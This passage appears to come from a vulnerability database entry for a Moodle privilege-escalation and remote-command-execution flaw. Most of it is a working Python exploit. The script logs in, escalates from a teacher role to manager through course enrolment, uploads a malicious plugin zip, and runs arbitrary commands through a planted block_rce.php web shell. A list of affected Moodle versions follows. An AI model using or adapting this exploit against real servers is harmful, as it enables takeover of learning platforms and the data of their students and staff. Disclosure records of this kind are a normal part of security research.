r = session.post(url + '/admin/tool/installaddon/index.php', data=data_post)
if "Current release information" not in r.text:
p7.failure(Color.RED + "✘" + Color.END)
print(Color.RED + "\nError uploading zip file, confirmation problems.\n")
exit(1)
p7.success(Color.YELLOW + "✓" + Color.END)
time.sleep(1)
return session
def moodle_RCE(url, command):
'''
Remote Command Execution on system with plugin installed (malicious zip file)
'''
p8 = log.progress("Executing " + Color.BLUE + command + Color.END)
time.sleep(1)
data_get = {"cmd" : command}
try:
r = session.get(url + '/blocks/rce/lang/en/block_rce.php', params=data_get, timeout=3)
p8.success(Color.YELLOW + "✓" + Color.END)
time.sleep(1)
print("\n" + Color.YELLOW + r.text + Color.END)
except requests.exceptions.Timeout as e:
p8.success(Color.YELLOW + "✓" + Color.END)
time.sleep(1)
pass
print("[" + Color.YELLOW + "+" + Color.END + "]" + Color.GREEN + " Keep breaking ev3rYthiNg!!\n" + Color.END)
if __name__ == '__main__':
args = arguments()
session, id_user, sess_key = login(args.url, args.username, args.password, args.id_course, args.teacher_cookie)
enrol2rce(session, args.url, args.id_manager, args.username, args.id_course, args.teacher_cookie, args.command)
Products Mentioned
Configuraton 0
Moodle>>Moodle >> Version From (including) 3.5.0 To (excluding) 3.5.13
Moodle>>Moodle >> Version From (including) 3.7.0 To (excluding) 3.7.7
Moodle>>Moodle >> Version From (including) 3.8.0 To (excluding) 3.8.4
Moodle>>Moodle >> Version 3.9.0
References